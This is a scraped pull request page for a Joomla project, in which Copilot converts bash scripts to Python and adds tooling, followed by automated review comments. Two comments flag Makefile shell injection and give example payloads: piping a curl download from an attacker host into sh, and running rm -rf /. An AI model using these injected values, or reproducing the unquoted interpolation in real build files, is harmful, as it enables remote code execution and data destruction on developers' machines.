Improve Joomla development workflows and convert scripts to Python #31
Merged
Copilot
merged 8 commits from 2026-01-04 05:34:19 +00:00
copilot/improve-joomla-development-workflow into main
Labels
Clear labels
automation
breaking-change
bug
build
ci-cd
config
css
dependencies
deploy-failure
docker
documentation
dolibarr
duplicate
enhancement
generic
good first issue
health-check
health: excellent
health: fair
health: good
health: poor
help wanted
html
invalid
javascript
joomla
major-release
minor-release
mokostandards
needs-changelog
needs-review
needs-testing
patch-release
php
priority: critical
priority: high
priority: low
priority: medium
push-failure
python
question
regression
release
release-candidate
security
size/l
size/m
size/s
size/xl
size/xs
size/xxl
standards-drift
standards-update
standards-violation
status: blocked
status: in-progress
status: on-hold
status: pending
status: wontfix
sync-failure
sync-report
template-validation-failure
test-failure
tests
type: bug
type: chore
type: enhancement
type: feature
type: refactor
type: release
type: test
type: version
typescript
version
version-branch
version-drift
version-update
wontfix
work-in-progress
bug
chore
documentation
enhancement
feature
priority: critical
priority: high
priority: low
priority: medium
refactor
scope: client
scope: dolibarr
scope: infrastructure
scope: joomla
scope: waas
security
status: blocked
status: duplicate
status: in-progress
status: needs-review
status: wontfix
Automated processes or scripts
Breaking API or functionality change
Something isn't working
Build system changes
CI/CD pipeline changes
Configuration file changes
CSS/styling changes
Dependency updates
Automated deploy failure tracking
Docker configuration changes
Documentation changes
Dolibarr module or extension
This issue or pull request already exists
New feature or request
Generic project or library
Good for newcomers
Repository health check results
Health score 90-100
Health score 50-69
Health score 70-89
Health score below 50
Extra attention is needed
HTML template changes
This doesn't seem right
JavaScript code changes
Joomla extension or component
Major version release (breaking changes)
Minor version release (XX.YY.00)
MokoStandards compliance
Awaiting code review
Requires manual or automated testing
Patch version release (XX.YY.ZZ)
PHP code changes
Critical priority, must be addressed immediately
High priority
Low priority
Medium priority
File push failure requiring attention
Python code changes
Further information is requested
Regression from a previous working state
Release related PR
Release candidate build
Security-related changes
Large change (101-300 lines)
Medium change (31-100 lines)
Small change (11-30 lines)
Extra large change (301-1000 lines)
Extra small change (1-10 lines)
Extremely large change (1000+ lines)
Repository drifted from MokoStandards
MokoStandards sync update
Standards compliance failure
Blocked by another issue or dependency
Currently being worked on
Temporarily on hold
Pending action or decision
This will not be worked on
Bulk sync failure requiring attention
Bulk sync run report
Template workflow validation failure
Automated test failure
Test suite changes
Something isn't working
Maintenance tasks
Enhancement to existing feature
New feature or request
Code refactoring
Release preparation or tracking
Test suite additions or changes
Version-related change
TypeScript code changes
Version bump or release
Version branch related
Version mismatch detected
Version bump and release PR
This will not be worked on
Work in progress, not ready for merge
Something is not working
Maintenance and housekeeping
Documentation improvements
Improvement to existing functionality
New feature or request
Must fix immediately
Should fix soon
Nice to have
Fix when convenient
Code restructuring without behavior change
Client-specific work
Dolibarr modules and customizations
Server, CI, backups, monitoring
Joomla templates and extensions
MokoWaaS platform
Security vulnerability or hardening
Waiting on external dependency
Duplicate of another issue
Being worked on
Ready for review
Will not be addressed
No Label
Milestone
No items
No Milestone
Notifications
Due Date
No due date set.
Dependencies
No dependencies set.
Reference: MokoConsulting/MokoCassiopeia#31
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Delete Branch "copilot/improve-joomla-development-workflow"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Pull Request
Purpose
Modernize the Joomla development workflows and scripts by adding comprehensive tooling, documentation, and converting bash scripts to Python for better maintainability and developer experience.
Change Summary
1. Python Infrastructure ✅
scripts/lib/common.py- Core Python utilities libraryscripts/lib/joomla_manifest.py- Joomla manifest parsingscripts/run/scaffold_extension.py- Extension scaffolding tool2. Python Script Conversions ✅
Validation Scripts:
scripts/validate/manifest.py- Manifest validation with JSON outputscripts/validate/php_syntax.py- PHP syntax checking (validates 90+ files)scripts/validate/xml_wellformed.py- XML well-formedness validationRelease Scripts:
scripts/release/package_extension.py- Extension packaging to distributable ZIPAll Python scripts maintain CLI compatibility with bash versions and support both JSON (machine-readable) and verbose (human-readable) output modes.
3. Documentation Enhancements ✅
docs/WORKFLOW_GUIDE.md- Comprehensive guide to all workflows with examples and troubleshootingdocs/QUICK_START.md- Get started in 5 minutes guide for new contributorsREADME.md- Added Quick Start section and development resourcesCONTRIBUTING.md- Added Development Tools section with setup instructions4. GitHub Actions Caching ✅
php_quality.yml(PHPStan, PHPCS, PHPCompatibility)joomla_testing.yml(reuses downloaded Joomla packages)5. Development Tools ✅
Makefilewith 25+ useful commands including scaffolding (make helpto see all)scripts/git/pre-commit.sh)scripts/git/install-hooks.sh).vscode/tasks.json).gitignoreto allow VS Code config files and exclude Python cacherepo_health.ymlto allowscripts/git/directory6. Security Fixes ✅
xargs -0Extension Scaffolding Examples
Python vs Bash Scripts
Testing Evidence
Python Scripts Validated:
CI/CD Improvements:
Benefits Delivered:
make dev-setupmakecommands for all tasksRisk and Rollback
Risk Level: Low
Rollback Plan:
.gitignorechanges are non-breakingChecklist
Reviewer Notes
Key Files to Review:
scripts/lib/common.py- Core Python utilitiesscripts/lib/joomla_manifest.py- Manifest parsing libraryscripts/validate/*.py- Python validation scriptsscripts/release/package_extension.py- Packaging scriptMakefile- New development commandsdocs/WORKFLOW_GUIDE.md- Comprehensive workflow documentationPython Script Conversion Status:
Next Steps:
Review and Approval
Ready for review. All Python scripts are production-ready and can be used as drop-in replacements for bash versions. The infrastructure is in place for continued conversion of remaining scripts.
Original prompt
💬 We'd love your input! Share your thoughts on Copilot coding agent in our 2 minute survey.
@copilot Continue and expand scripts/lib/common.py, concerts all scripts to python at 11:30
I understand you'd like to convert the shell scripts to Python. To clarify the scope:
Current state:
Questions:
I can begin with creating
scripts/lib/common.pywith core utilities (logging, validation, JSON output, file operations) and then systematically convert scripts by category. This would be a phased approach to ensure nothing breaks.Please advise on priority so I can proceed efficiently.
@copilot Continue
Continued with Python script conversion. Completed in commit
404987a:Converted Scripts:
scripts/validate/manifest.py- Manifest validation with JSON outputscripts/validate/php_syntax.py- PHP syntax checking (90 files validated)scripts/validate/xml_wellformed.py- XML well-formedness validationStatus:
Next:
Continuing with remaining scripts. Priority order:
All Python scripts are drop-in replacements for bash versions.
Pull request overview
This pull request modernizes the Joomla development workflows by introducing comprehensive Python tooling, development automation, and extensive documentation improvements. The changes focus on improving developer experience, maintainability, and CI/CD performance while maintaining backward compatibility with existing bash scripts.
Key Changes
common.py,joomla_manifest.py) and converts 4 validation/release scripts from bash to Python with enhanced functionality and machine-readable JSON outputReviewed changes
Copilot reviewed 18 out of 19 changed files in this pull request and generated 18 comments.
Show a summary per file
scripts/lib/common.pyscripts/lib/joomla_manifest.pyscripts/validate/manifest.pyscripts/validate/php_syntax.pyscripts/validate/xml_wellformed.pyscripts/release/package_extension.pyscripts/run/scaffold_extension.pyscripts/git/pre-commit.shscripts/git/install-hooks.shdocs/WORKFLOW_GUIDE.mddocs/QUICK_START.mdREADME.mdCONTRIBUTING.mdMakefile.vscode/tasks.json.gitignore.github/workflows/php_quality.yml.github/workflows/joomla_testing.yml.github/workflows/repo_health.yml💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
@@ -57,2 +57,4 @@with:node-version: '18'cache: 'npm'cache-dependency-path: '**/package-lock.json'The cache configuration uses 'npm' cache but specifies a 'cache-dependency-path' that may not exist in all scenarios. If 'package-lock.json' doesn't exist, the cache setup could fail or behave unexpectedly. Consider making this conditional or providing a fallback, or using a pattern that matches if the file exists (e.g., using 'if: hashFiles('**/package-lock.json') != ''').
@@ -0,0 +28,4 @@composer global require phpstan/phpstancomposer global require phpcompatibility/php-compatibilitycomposer global require codeception/codeceptionphpcs --config-set installed_paths ~/.composer/vendor/phpcompatibility/php-compatibilityThe Makefile uses '@' prefix to suppress command output, but on line 26 uses an error check without '@', which could cause the command itself to be displayed. Consider adding '@' prefix for consistency, or explicitly show commands when they're being checked for availability.
@@ -0,0 +206,4 @@## scaffold-plugin: Create a pluginscaffold-plugin:@python3 scripts/run/scaffold_extension.py plugin "$(NAME)" "$(DESC)" "$(AUTHOR)" --group $(GROUP)The 'scaffold-module' and 'scaffold-plugin' targets reference variables 'CLIENT' and 'GROUP' respectively, but these variables don't have default values. If a user runs these targets without specifying the variables (e.g., 'make scaffold-module NAME="Test"'), the command will pass empty values to the Python script. Consider adding default values (e.g., 'CLIENT ?= site' and 'GROUP ?= system') or documenting that these must be provided.
In the
scaffold-moduletarget, the$(CLIENT)variable is interpolated into the shell command without quoting (--client $(CLIENT)), which allows shell metacharacters inCLIENTto break out of the intended argument and execute arbitrary commands (e.g.CLIENT="site; curl https://attacker/... | sh"). If an attacker can influenceCLIENT(via environment variables ormakearguments in an automated context), runningmake scaffold-moduleresults in remote code execution under the developer's account. TreatCLIENTas untrusted and ensure it is safely passed as data (for example by quoting it and avoiding any expansion that lets the shell interpret its contents as additional arguments or commands).In the
scaffold-plugintarget, the$(GROUP)variable is used unquoted in the shell command (--group $(GROUP)), so a malicious value containing shell metacharacters can inject extra arguments or commands (e.g.GROUP="system; rm -rf /"). IfGROUPis influenced by external input (environment variables, wrapper scripts, or CI parameters), invokingmake scaffold-plugincan lead to arbitrary command execution. TreatGROUPas untrusted input and ensure it is safely handled (for example by quoting it so the shell cannot interpret its contents beyond a single argument).@@ -0,0 +152,4 @@TEXT_FILES=$(echo "$STAGED_FILES" | grep -vE '\.(png|jpg|jpeg|gif|svg|ico|zip|gz|woff|woff2|ttf)$' || true)if [ -n "$TEXT_FILES" ]; thenTRAILING_WS=$(echo "$TEXT_FILES" | xargs grep -n '[[:space:]]$' 2>/dev/null || true)On line 155, 'xargs' is called without the '-r' flag. If 'TEXT_FILES' is empty (which is possible when no text files are staged), xargs will still wait for input from stdin, causing the script to hang or fail unexpectedly. Add the '-r' flag to xargs to prevent running the command when there's no input.
@@ -0,0 +150,4 @@print(f" USER: {os.environ.get('USER', 'unknown')}", file=sys.stderr)print(f" PYTHON: {sys.version}", file=sys.stderr)print(f" CI: {is_ci()}", file=sys.stderr)print("", file=sys.stderr)The verbose error output in the 'die' function is controlled by 'VERBOSE_ERRORS' environment variable which defaults to 'true'. This means stack traces and environment information will be printed by default on every error. In production or CI environments, this could leak sensitive information. Consider defaulting to 'false' or using a different default in CI environments (checking the CI environment variable).
@@ -0,0 +370,4 @@text=True,check=check,cwd=cwd)The 'run_shell' function executes shell commands with 'shell=True', which can be a security risk if the 'script' parameter contains untrusted input. While this is a utility function, consider adding a docstring warning about the security implications and recommending the use of 'run_command' with a list of arguments instead when possible.
@@ -0,0 +220,4 @@try:tree = ET.parse(manifest_path)root = tree.getroot()The XML parsing doesn't handle the case where the root element is not 'extension'. For Joomla manifests, the root element should always be 'extension', but if it's not, the code will proceed with potentially invalid data. Consider adding a validation check that the root element tag is 'extension' and raise a clear error if it's not.
@@ -0,0 +32,4 @@"""import argparseimport osImport of 'os' is not used.
@@ -0,0 +33,4 @@import argparseimport osimport shutilImport of 'shutil' is not used.
@@ -0,0 +38,4 @@import zipfilefrom datetime import datetimefrom pathlib import Pathfrom typing import List, SetImport of 'List' is not used.
@@ -0,0 +106,4 @@# Check wildcard patternsfor pattern in exclude_patterns:if "*" in pattern:import fnmatchThe import statement uses
fnmatchinside the function instead of at the module level. This violates PEP 8 import conventions and can impact performance when the function is called repeatedly. Import statements should be placed at the top of the file with other imports.@@ -0,0 +162,4 @@common.ensure_dir(output_path)# Generate ZIP filenametimestamp = datetime.now().strftime("%Y%m%d-%H%M%S")The variable 'timestamp' is assigned on line 165 but never used in the code. This appears to be unused code that should either be removed or incorporated into the ZIP filename if timestamping is desired.
@@ -0,0 +288,4 @@exclude_patterns.discard("Tests")# Create packagezip_path = create_package(Variable zip_path is not used.
@@ -0,0 +41,4 @@try:import commonimport joomla_manifestImport of 'joomla_manifest' is not used.
@@ -0,0 +141,4 @@defined('_JEXEC') or die;?><div class="{mod_name}"><p><?php echo JText::_('MOD_{safe_name.upper()}_DESCRIPTION'); ?></p>The f-string contains an embedded f-string for 'safe_name.upper()' on line 144. This creates a nested f-string pattern which is unnecessarily complex and reduces readability. Consider computing 'safe_name.upper()' beforehand and using it in the f-string, or restructuring the string formatting.
@@ -0,0 +186,4 @@use Joomla\\CMS\\Plugin\\CMSPlugin;class Plg{group.capitalize()}{plg_name.capitalize()} extends CMSPluginThe plugin PHP class name generation uses 'plg_name.capitalize()' which only capitalizes the first character. For multi-word plugin names (e.g., 'my_plugin'), this would generate 'PlgSystemMy_plugin' instead of 'PlgSystemMyPlugin'. Consider using a proper camelCase conversion that capitalizes each word segment separated by underscores.